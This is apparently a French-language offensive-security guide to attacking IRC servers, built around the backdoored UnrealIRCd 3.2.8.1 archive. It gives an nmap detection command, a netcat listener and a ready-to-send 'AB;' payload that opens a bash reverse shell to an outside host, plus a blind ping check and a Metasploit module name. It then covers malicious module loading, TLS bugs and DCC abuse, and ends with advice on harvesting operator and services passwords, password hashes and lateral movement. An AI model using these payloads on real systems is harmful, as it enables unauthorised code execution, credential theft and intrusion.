Une fois que l'énumération a cerné la version de l'ircd, le démon lui-même devient la cible, et le cas le plus fiable est la distribution piégée d'UnrealIRCd 3.2.8.1. Pendant une période, l'archive de téléchargement officielle d'UnrealIRCd 3.2.8.1 a été modifiée pour inclure une porte dérobée : le serveur lit les lignes de la phase pré-authentification, et toute ligne commençant par le jeton AB; voit le reste passé à system() et exécuté sur l'hôte. Pas de NICK, pas de USER, pas d'identifiants : une socket brute et une ligne donnent l'exécution de commandes en tant qu'utilisateur exécutant l'ircd. D'autres ircds ajoutent des bogues de chargement de modules et d'analyse TLS, et le sous-protocole DCC peut être détourné pour pousser des fichiers vers les utilisateurs.
Identifier d'abord#
nmap -p6667 --script irc-unrealircd-backdoor <target>
# "Looks like trojaned version of unrealircd" confirms the backdoored build.
# otherwise read numeric 004/351 from a handshake: "Unreal3.2.8.1" is the vulnerable string
Confirmez la version exacte depuis la réponse VERSION avant de déclencher quoi que ce soit ; la porte dérobée est spécifique à l'archive 3.2.8.1 trojanisée, et une 3.2.8.1 saine ou toute version ultérieure 4.x/6.x ne répondra pas au jeton.
Exploitation détaillée de la distribution piégée#
Le jeton est envoyé avant l'authentification. Une approche classique déclenche un reverse shell en faisant rappeler la commande vers un listener :
# listener
nc -lvnp 4444 &
# send the backdoor token on a raw connection (no NICK/USER needed)
printf 'AB; /bin/bash -c "bash -i >& /dev/tcp/10.0.0.50/4444 0>&1"\r\n' | nc <target> 6667
La connexion sur le listener, renvoyant une invite de shell, c'est le démon qui exécute tout ce qui suit AB;. Si le trafic sortant est filtré, utilisez d'abord le même jeton pour une vérification en aveugle :
printf 'AB; ping -c1 10.0.0.50\r\n' | nc <target> 6667
# watch for the ICMP echo on the listener side (tcpdump -i eth0 icmp) to confirm execution
Le module Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor automatise le même jeton et gère la charge utile reverse ou bind ; interprétez une session renvoyée comme une exécution de code en tant qu'utilisateur de l'ircd.
Variantes et autres ircds#
- Modules InspIRCd et Charybdis : des modules chargeables par l'opérateur et certains modules de passerelle SSL/TLS ont présenté des failles de corruption mémoire et d'analyse ; un opérateur atteint via l'abus des services et des opérateurs qui peut faire
loadmodulepeut aussi charger un module préparé par l'attaquant pour l'exécution. - Bogues d'analyse TLS : les ircds qui lient une bibliothèque TLS vulnérable sur 6697 héritent de ses failles d'analyse de handshake, atteignables en pré-authentification sur le port chiffré.
- Abus de DCC : le sous-protocole DCC SEND/CHAT de client à client s'exécute sur une connexion TCP directe négociée via le serveur ; un attaquant positionné ou opérateur peut proposer un fichier malveillant à un utilisateur cible ou abuser d'un bot qui accepte automatiquement les transferts DCC.
Suite#
- Les chemins de la porte dérobée et des modules donnent tous deux l'exécution en tant que compte de service de l'ircd ; de là, lisez la configuration de l'ircd pour les mots de passe des O:lines et des services, et la base de données des services pour l'empreinte du mot de passe de chaque compte enregistré.
- Un shell sur l'hôte de l'ircd se trouve souvent à l'intérieur de la frontière de confiance du réseau de chat, de sorte que les serveurs liés et les bots deviennent atteignables pour un mouvement latéral.